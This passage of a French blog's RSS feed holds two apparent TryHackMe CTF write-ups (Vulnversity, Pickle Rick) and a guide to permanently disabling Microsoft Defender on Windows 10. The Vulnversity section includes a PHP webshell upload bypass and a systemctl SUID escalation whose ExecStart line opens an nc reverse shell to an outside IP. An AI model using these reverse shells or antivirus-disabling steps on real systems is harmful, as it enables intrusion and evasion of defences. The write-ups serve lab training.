SERVICE<br>21/tcp   open  ftp<br>22/tcp   open  ssh<br>139/tcp  open  netbios-ssn<br>445/tcp  open  microsoft-ds<br>3128/tcp open  squid-http<br>3333/tcp open  dec-notes</pre><pre>Nmap done: 1 IP address (1 host up) scanned in 5.51 seconds</pre><p>2. Identifier les versions</p><pre>┌──(ben㉿kali)-[~/thm/vulnversity]<br>└─$ nmap -Pn -p21,22,139,445,3128,3333 -sV -sC -oN nmap/targeted 10.10.244.106<br>Host discovery disabled (-Pn). All addresses will be marked &#39;up&#39; and scan times will be slower.<br>Starting Nmap 7.91 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2021-05-04 12:17 EDT<br>Nmap scan report for 10.10.244.106<br>Host is up (0.10s latency).</pre><pre>PORT     STATE SERVICE     VERSION<br>21/tcp   open  ftp         vsftpd 3.0.3<br>22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 5a:4f:fc:b8:c8:76:1c:b5:85:1c:ac:b2:86:41:1c:5a (RSA)<br>|   256 ac:9d:ec:44:61:0c:28:85:00:88:e9:68:e9:d0:cb:3d (ECDSA)<br>|_  256 30:50:cb:70:5a:86:57:22:cb:52:d9:36:34:dc:a5:58 (ED25519)<br>139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)<br>3128/tcp open  http-proxy  Squid http proxy 3.5.12<br>|_http-server-header: squid/3.5.12<br>|_http-title: ERROR: The requested URL could not be retrieved<br>3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Vuln University<br>Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>Host script results:<br>|_clock-skew: mean: 1h20m00s, deviation: 2h18m33s, median: 0s<br>|_nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>| smb-os-discovery: <br>|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)<br>|   Computer name: vulnuniversity<br>|   NetBIOS computer name: VULNUNIVERSITY\x00<br>|   Domain name: \x00<br>|   FQDN: vulnuniversity<br>|_  System time: 2021-05-04T12:18:00-04:00<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>| smb2-security-mode: <br>|   2.02: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2021-05-04T16:18:01<br>|_  start_date: N/A</pre><pre>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 27.14 seconds</pre><h3>FTP</h3><p><em>Version : vsftpd 3.0.3</em></p><ol><li>Pouvons-nous nous logger avec un authentifiant anonyme?</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E32duc-6Z_0nRcLsbOtF9w.png" /><figcaption>Authentification Anonyme Désactivée</figcaption></figure><p>Non. Passons au prochain service.</p><h3>SSH</h3><p><em>Version : OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)</em></p><p>Nous n’avons aucun identifiant pour le moment. Donc passons à SMB.</p><h3>SMB</h3><p><em>Version : Samba smbd 4.3.11-Ubuntu</em></p><ol><li>Pouvons-nous énumérer les dossiers de partage SMB?</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8sPZAkE46Uc5JWtDCuwSUA.png" /><figcaption>Énumération des dossiers de partage SMB</figcaption></figure><p>Oui.</p><p>2. Pouvons-nous accéder aux dossiers de partage?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q9_qGspm2VKE99tUjXLO8A.png" /><figcaption>Répertoire Print$</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZQiXOpi10AuEGDOyvgf4AA.png" /><figcaption>Répertoire IPC$</figcaption></figure><p>Non. Rien d’intéressant ici.</p><h3>WEB</h3><p><em>Version : Apache/2.4.18 (Ubuntu)<br>Port : 3333<br>Proxy : Squid httpd proxy 3.5.12<br>Port : 3128</em></p><ol><li>Identifier la page d’accueil</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*vA5K_14uFIR3PO7VW-uP8Q.png" /></figure><p>2. Identifier les répertoires de l’application web</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RBvFfziGg6edwFm0IjEaaw.png" /></figure><p>Le répertoire /internal semble intéressant. Allons voir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*WI-ArrtPj-1ZB6TuRrXhtg.png" /></figure><p>Fonctionalité de télécharger un fichier.</p><p>3. Avons-nous un répertoire /uploads pour accéder et exécuter les fichiers téléchargés?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*lYVBTvs8CKTzlcdNBiG2Xg.png" /></figure><p>Oui !</p><h3>Exploitation</h3><p>Nous allons télécharger un webshell php. Le webshell que nous allons utilisé est celui de PentestMonkey.</p><p><a href="https://github.com/tutorial0/WebShell/blob/master/Php/php-reverse-shell.php">WebShell/php-reverse-shell.php at master · tutorial0/WebShell</a></p><p>Copions le webshell dans notre machine Kali. Et changons l’IP pour le nôtre et le port de notre choix.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-T0PhsSW_j5B-ev7olvhDw.png" /></figure><p>Exécutons notre listener netcat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TipoIACOFfoXpKdpU478jA.png" /></figure><p>Télécharger notre webshell php sur le portail /internal. Et exécutons le en visitant /internal/uploads</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*weHQB2MuIWk7MD7ZKKT_uA.png" /></figure><p>Ops ! Le serveur ne nous permet pas de télécharger des fichiers php.</p><p>Nous allons tenter de changer l’extension de notre webshell php en phtml.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OC1TrHjpHTQtYL9OTqn5tQ.png" /></figure><p>Ressayons de télécharger notre webshell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*JepZZT7Al8GqmJy6v-I4ng.png" /></figure><p>Succès !</p><p>Maintenant, visitons le répertoire /internal/uploads/ et exécutons notre webshell pour avoir un reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*LLyM8C64uRO6fwBwtVvPPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CgNd_ZMkpxywPDYqvwhK4Q.png" /></figure><p>Voilà ! Nous avons compromis le système et nous sommes www-data (l’application web).</p><h3>Stabiliser notre shell</h3><p>Nous allons stabiliser notre shell pour qu’il soit interactif et plus persistant.</p><ol><li>Déterminer quelle version de python est utilisée dans le système</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7k0GTGw2QkaZbNCNvaIaZw.png" /></figure><p>2. Importer un TTY Shell avec la commande ci-dessous</p><pre>root# python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OWZmGRuwxU4ei9bK-JC_ag.png" /></figure><p>3. Mettre la session en arrière plan (CTRL Z)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5JgQTdSVa0-NV0Fm-U2PVA.png" /></figure><p>4. Exécuter la commande suivante</p><pre>root# stty raw -echo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gbfuw5n6AeO0jwKRzTQHzg.png" /></figure><p>5. Tapper deux fois le string : fg</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R-yNG1GOvtSAzWNYP5H3uQ.png" /></figure><p>6. Importer le terme xterm pour pouvoir clear notre terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_vpMeo5VCh94A2ixmnovAA.png" /></figure><h3>Escalation de privilèges</h3><ol><li>Identifier les SUID bits</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GdiHUw8q3lbOE81N5Sds-g.png" /></figure><p>Celui qui ressort est systemctl. En nous référant à la ressource suivante nous pouvons exploiter le SUID systemctl pour escalader nos privilèges.</p><p><a href="https://gtfobins.github.io/gtfobins/systemctl/#suid">https://gtfobins.github.io</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*NXKkh1UkN5Tqmlnm9LVphw.png" /></figure><p>Tentons cette attaque.</p><p>P.S : Nous allons remplacer la ligne 5 avec celle-ci afin d’avoir un autre reverse shell mais cette fois avec des privilèges root :</p><pre>ExecStart=/bin/sh -c &quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.6.44.219 8080 &gt;/tmp/f&quot;</pre><p>Exécutons un listener ncat dans notre machine Kali qui écoutera sur le port 8080.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PWUees2MmPykQqTmDu5lvA.png" /></figure><p>Maintenant, copions chacune des commandes sur le shell de notre cible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9r6b3hDlJF_bRjBZaSRlkg.png" /></figure><p>Retournons à notre listener netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qWjZiU5ikAxloz7-yk031A.png" /></figure><p>ROOT !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a04fa198077" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Comment désactiver Microsoft Defender Antivirus sur Windows 10]]></title>
            <link>https://bdure.medium.com/comment-d%C3%A9sactiver-microsoft-defender-antivirus-sur-windows-10-deb7eaf2fdcc?source=rss-e990418fda------2</link>
            <guid isPermaLink="false">https://medium.com/p/deb7eaf2fdcc</guid>
            <category><![CDATA[microsoft-defender]]></category>
            <dc:creator><![CDATA[Malware Ben]]></dc:creator>
            <pubDate>Tue, 04 May 2021 03:40:23 GMT</pubDate>
            <atom:updated>2021-05-04T03:40:23.035Z</atom:updated>
            <content:encoded><![CDATA[<p>Le OS Windows 10 est équipé d’un mécanisme qui réactive automatiquement Microsoft Defender Antivirus au redémarrement bien que vous l’ayez désactiver.</p><p>Pourquoi ce mécanisme? Parce qu’il permet généralement de protéger, votre appareil.</p><p>Par contre, en tant que chercheur en sécurité, il y a des moments où nous souhaitons le désactiver en permanence.</p><p>Dans cet article, je vous montrerai comment garder Microsoft Defender Antivirus désactiver sur Windows 10 même après un redémarrement.</p><h3>Pré-requis :</h3><p>Autoruns pour Windows — Windows SysInternals<br><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns">https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*LHog1zxUri5vtLQkdiFzjQ.png" /></figure><h3><strong>Désactiver le Real-time Protection</strong></h3><p>Taper Tamper Protection dans le menu Windows et désactiver l’option de la Real-time protection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*ANOUnxo5xKmFhMLaQY5YEg.png" /></figure><h3>Arrêter tous les Start Up qui sont en lien avec Microsoft Defender Antivirus</h3><p>Exécuter Autoruns (Autoruns64.exe) avec des privilèges d’administrateur.</p><p>Ouvrez le menu d’Options et décochez tous les items sauf <em>Hide Empty Locations</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*-x5-QBDmwcO-1rzE4oH6PA.png" /></figure><p>Ensuite, entrez Windows Defender dans le filtre</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*MmTGRY4e4eF6mpqxGYjYWw.png" /></figure><p>Décochez tous les items sauf PolicyAgent dans les catégories suivantes. S’il vous plaît veuillez notez que l’affichage du contenu peut différé dépendamment de l’environnement.</p><ul><li>Task Scheduler</li><li>HKLM\System\CurrentControlSet\Services</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*SZawSub1U3gOtVR6YwTMpA.png" /></figure><p>Par la suite, veuillez redémarrez votre machine et Microsoft Defender Antivirus sera désactiver en permanence.</p><h3>Vérification du statut de Microsoft Defender Antivirus</h3><ul><li>Get-Service WinDefend</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*OlDPQb_oMarh8XFBGyY3Zw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*tsHZQJF249_z1n1V4X6vqA.png" /></figure><ul><li>Get-MpPreference</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*8AWQS_VUfgdLXJMF9TJq_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*wGfVirANUfrOrI-D3A7ijw.png" /></figure><h3>Références</h3><p><a href="https://soji256.medium.com/how-to-permanently-disable-microsoft-defender-antivirus-on-windows-10-fdfdce9b5fb2">https://soji256.medium.com/how-to-permanently-disable-microsoft-defender-antivirus-on-windows-10-fdfdce9b5fb2</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=deb7eaf2fdcc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pickle Rick Write-Up]]></title>
            <link>https://bdure.medium.com/pickle-rick-write-up-9d44830d29b4?source=rss-e990418fda------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d44830d29b4</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[pickle-rick]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Malware Ben]]></dc:creator>
            <pubDate>Sat, 17 Apr 2021 19:44:40 GMT</pubDate>
            <atom:updated>2021-04-17T19:46:54.315Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pickle Rick Write-Up (FR)</h3><p>Aujourd’hui nous allons explorer la chambre Pickle Rick sur <a href="https://tryhackme.com/room/picklerick">TryHackMe</a>. Merci de partager au maximum !</p><h3>Énumération</h3><p>1. — Identifier les ports ouverts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*e_BR-qBRPsp5_DCaYmJAHg.png" /></figure><p>1.1 — Identifier les versions des ports ouverts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*xyNaW7UIzjjRnop9GPCzlA.png" /></figure><p>1.2. — Identifier le système d’exploitation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*OJyQ-qF7CNKrzbq3IO4i3A.png" /></figure><p>2. — Accéder à la page d’accueil du site web</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XJb7eHiltYZ2NAo46WOkqA.png" /></figure><p>2.1. — Identifier les technologies utilisées</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*WlCuY8cb7lnpTIOBPWppKg.png" /></figure><p>2.2. — Analyser le code source de la page d’accueil</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M8ldl9CaS8JUboYFvBVpwA.png" /></figure><ul><li>Découverte d’un nom d’utilisateur : <strong>R1ckRul3s</strong></li></ul><p>3. — Identifier des répertoires du serveur web</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*npC91cEDFrdLaRHjTLPPQA.png" /></figure><p>3.1 — Le répertoire robots.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*8RZAmhLBOBrObe-uzKrRNA.png" /></figure><ul><li>Découverte d’un mot de passe potentiel : <strong>Wubbalubbadubdub</strong></li></ul><p>3.2 — Faire un scan web avec l’outil Nikto</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*U5wr65tV-kAp6LVJgVIdjg.png" /></figure><ul><li>Découverte d’un répertoire : /login.php</li></ul><p>4.0 — Se logger dans la page /login.php avec le nom d’utilisateur et le mot de passe trouvé</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*30yKk9kSnpjdc0zDp7fSDQ.png" /></figure><ul><li>Succès ! On arrive à se logger. Voici la page d’accueil après s’être loggé</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*1qNDdJYoL_sKVzEiAMKKVw.png" /></figure><h3>Exploitation</h3><p>Passons maintenant à la phase d’exploitation.</p><p>1. — Exécuter une commande système<br>“ whoami “</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yMxbUtNof8JbkeHyUjOm0g.png" /></figure><ul><li>Découverte de la possibilité d’exécuter des commandes systèmes</li></ul><p>2. — Choisir un reverse shell en se référant à la ressource ci-dessous<br>Source : <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></p><p>2.1 — Exécuter un listener avec netcat sur notre machine Linux</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*gY_rgdBxcq1RS6q6XQIDVg.png" /></figure><p>2.2 — Exécuter le reverse shell (P.S : Nous avons selectionné le <strong>Perl Reverse Shell</strong>. Changer l’IP et le Port)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*nVPUaJG-Ughssl58xgTLlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sIDynkCT3stmwYGZ4AvhDw.png" /></figure><ul><li>Succès ! Nous avons un reverse shell :)</li></ul><h3>Post-Exploitation</h3><ol><li>— Énumérer la machine pour détecter une façon d’escalader nos privilèges</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*icBVfhr-1H18hphJcCZfBA.png" /></figure><ul><li>Découverte de la technique d’escaladation de privilège !<br>$ sudo su -</li></ul><p>2. Escalader nos privilèges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*ImTxYbtSrdvf0iOGPUvWPQ.png" /></figure><p>Root ! :-)</p><p>3. Identifier les flags</p><p><strong><em>Flag #1</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*VJZPldE75XOnWtYEz2i22Q.png" /></figure><p><strong><em>Flag #2</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*c6H1uUAOdZrA4t_CVpItsw.png" /></figure><p><strong><em>Flag #3</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*DwJpaOh40LNi2eGqzEs8PQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d44830d29b4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>